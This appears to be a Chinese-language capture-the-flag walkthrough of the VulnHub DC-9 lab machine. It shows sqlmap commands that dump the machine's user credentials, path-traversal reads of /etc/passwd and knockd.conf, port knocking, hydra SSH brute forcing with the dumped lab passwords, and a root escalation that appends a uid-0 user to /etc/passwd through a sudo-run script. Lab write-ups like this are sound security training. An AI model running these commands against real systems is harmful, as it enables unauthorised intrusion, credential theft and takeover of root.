一、準備工作
kali和靶機都選擇NAT模式(kali與靶機同網段)
1.靶場環境
下載鏈接:https://download.vulnhub.com/dc/DC-9.zip
2.kali的ip
命令:ifconfig
3.靶機的ip
掃描靶機ip
sudo arp-scan -l
二、信息收集
1.nmap的信息收集
(1)掃描靶機開放的端口及其服務
nmap -A -p- 192.168.101.122
2.網站的信息收集
(1)靶機開放了80端口,先訪問靶機網站看看有什么有用的信息
(2)使用sqlmap命令
它存在一個表單,在這里就很有可能存在著注入漏洞,所以我們先嘗試著用sqlmap跑一下:
sqlmap -u "http://192.168.101.122/results.php" --data "search=1" --dbs#獲取當前數據庫
sqlmap -u "http://192.168.101.122/results.php" --data "search=1" -D users --tables# 獲取表名
sqlmap -u"http://192.168.101.122/results.php" --data "search=1" -D users -T UserDetails --columns
#獲取字段名
sqlmap -u "http://192.168.101.122/results.php" --data "search=1" -D users -T UserDetails -C username,password --dump #獲取賬號密碼
查詢數據庫名
查詢users數據庫下面的表名
獲取userDetails字段名獲取員工的賬號密碼
這里是那些員工這賬號和密碼,后面可能會用到,先放著,然后再回過來爆另一個Staff數據庫看看會有什么東西:
sqlmap -u "http://192.168.101.122/results.php" --data "search=1" -D Staff --tables
sqlmap -u "http://192.168.101.122/results.php" --data "search=1" -D Staff -T Users --dump
嘗試用得到的用戶密碼登錄
注意:File does not exist 這句話它說文件不存在
三、枚舉
1.看看本地文件是否存在文件包含漏洞
訪問:http://192.168.101.122/manage.php?file=../../../../../../../../etc/passwd
2.查看ssh配置文件knockd.conf
訪問:http://192.168.101.122/manage.php?file=../../../../../../../../etc/knockd.conf
發現ssh 自定義的端口號
四、ssh連接
1.知道端口號后,然后進行敲門,
for x in 7469 8475 9842; do nc 192.168.101.122 $x;done
nmap -sV -A 192.168.101.122 -p 22
2.使用nmap命令查看靶機ssh訪服務是否能夠正常運行
nmap -p22 192.168.101.122
3.ssh開啟了,但需要賬號密碼,把之前爆破的員工賬號密碼分別寫入兩個字典
kali@kali:~$ vi password.txt
kali@kali:~$ cat password.txt
3kfs86sfd
468sfdfsd2
4sfd87sfd1
RocksOff
TC&TheBoyz
B8m#48sd
Pebbles
BamBam01
UrAG0D!
Passw0rd
yN72#dsd
ILoveRachel
3248dsds7s
smellycats
YR3BVxxxw87
Ilovepeepee
Hawaii-Five-0
kali@kali:~$ vi username.txt
kali@kali:~$ cat username.txt
marym
julied
fredf
barneyr
tomc
jerrym
wilmaf
bettyr
chandlerb
joeyt
rachelg
rossg
monicag
phoebeb
scoots
janitor
janitor2
4.hydra字典爆破
(1)通過ssh爆破
hydra -L username.txt -P password.txt 192.168.101.122 ssh
(2)得到了兩個用戶密碼,其中有個是管理員,先用janitor用戶登錄
ssh janitor@192.168.101.122
(3)在.secrets-for-putin,發現密碼字典,將收集到的密碼放入剛才的password文件里面
cd .secrets-for-putin
cat passwords-found-on-post-it-notes.txt
(4)在kali再一次使用hydra爆破
hydra -L username.txt -P password.txt 192.168.101.122 ssh
(5)用fredf用戶進行ssh登錄
ssh fredf@192.168.101.122
五、提權
1.查看當前用戶可以執行的操作
sudo -l
2.查看/opt/devstuff目錄下的test.py
如上圖可知進入 /opt/devstuff/dist/test/test不需要密碼,進入該目錄下查看
cd /opt/devstuff
cat test.py
test.py是一個python腳本。它既然擁有root權限,那現在我們要做的就是構造一個擁有root權限的用戶,并且在/etc/passwd文件中儲存,只要使用這個用戶登錄后,就可以獲取到root權限。
3.在kali使用openssl工具先創建一個本地的加密用戶
openssl passwd -1 -salt admin 111111
4.提權
在靶機/opt/devstuff/dist/test目錄下面創建一個叫swn的文件(隨便命名) 再使用sudo用那個test程序來運行這個文件,隨后切換成我們添加的這個用戶,輸入自己設定的密碼就可以成功提權到root用戶了,最后進入root目錄下查看flag即可。
echo 'admin:$1$admin$2WRLhTGcIMgZ7OhwCpREK1:0:0::/root:/bin/bash' >> /tmp/swn
sudo ./test /tmp/swn /etc/passwd
su admin
cd /root
cat theflag.txt